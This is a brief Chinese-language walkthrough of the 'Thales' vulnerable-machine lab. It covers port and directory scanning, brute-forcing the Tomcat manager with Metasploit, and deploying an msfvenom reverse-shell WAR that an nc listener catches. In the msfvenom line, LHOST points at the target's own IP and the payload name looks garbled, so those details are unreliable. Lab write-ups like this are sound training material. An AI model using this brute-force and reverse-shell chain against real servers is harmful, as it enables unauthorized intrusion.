Thales靶场通关攻略
将下载好的环境导入 VritualBox,并将桥接模式
使用kali扫描靶机ip和端口,得出靶机ip为172.16.2.46 端口开着8080和22
dirsearch目录扫描
dirsearch -u 172.16.2.46:8080 -e * -x 403 --random-agent
访问靶机8080
尝试登陆后台,发现需要用户名和密码,我们使用msf爆破账号和密码
进入msf:msfconsole
msf6 > search tomcat login
msf6 > use 0
msf6 auxiliary(scanner/http/tomcat_mgr_login) > show options
msf6 auxiliary(scanner/http/tomcat_mgr_login) > set rhosts 172.16.2.46
msf6 auxiliary(scanner/http/tomcat_mgr_login) > run
得到用户名和密码:tomcat;role1
登陆后台,下拉发现可以上传文件
反弹shell
我们可以看到/shell和上传页面,那么我们进行shell,在 web 应用程序部署界面尝试在上传 war 包反弹 shell
msfvenom -p javajsp_shell_reverse_tcp LHOST=172.16.2.46 LPORT=6666 -f war -o revshell.war
我们进行上传
上传成功后,在应用程序列表中看到已成功部署了 war 后门,点击访问后反弹
kali里面提前开启nc监听
点击后即可在kali监听到